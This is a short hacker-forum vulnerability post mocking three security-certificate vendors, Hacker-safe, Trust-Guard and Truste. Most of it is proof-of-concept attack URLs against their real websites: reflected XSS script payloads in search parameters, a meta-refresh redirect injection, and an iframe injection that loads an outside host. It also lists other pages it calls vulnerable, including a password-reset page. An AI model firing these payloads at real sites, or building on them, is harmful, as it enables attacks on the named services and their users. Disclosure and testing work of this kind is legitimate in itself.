Hacker-safe vs Trust-Guard vs Truste

Hacker-safe vs Trust-Guard vs Truste

Multiple HTML Injection Vulnerability

hackersafe.com.tr

vulnerable page:

Code:

http://www.hackersafe.com.tr/merchants/moreinfo.htm

Code:

http://hackersafe.com.tr/mail.php

Code:

http://hackersafe.com.tr/mail2.php

Trust-Guard - XSS,Redirect and Iframe injecxtion

Code:

http://blog.trust-guard.com/?s="><script>alert(String.fromCharCode(88,83,83))</script>

Code:

http://blog.trust-guard.com/?s=">"">>>><meta http-equiv="Refresh" content="0;url=http://www.google.com/"> ""

Code:

https://secure.trust-guard.com/ResetPassword.php

The same bug on login module !

Truste.org - XSS & Iframe injection

Code:

http://blog.truste.org/index.php?s="><script>alert(String.fromCharCode(88,83,83))</script>

Code:

http://blog.truste.org/index.php?s="><iframe src=http://nemesis.te-home.net></iframe>

Vulnerable page on truste.org

Code:

http://www.truste.org/forms/learn_more.php

How someone can sell Security Certificate when his security are 0 ?

Submitted by [-TE-]-Methodman